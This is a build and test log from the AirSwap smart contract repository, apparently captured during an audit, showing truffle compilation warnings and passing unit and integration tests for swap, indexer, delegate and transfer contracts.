/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the 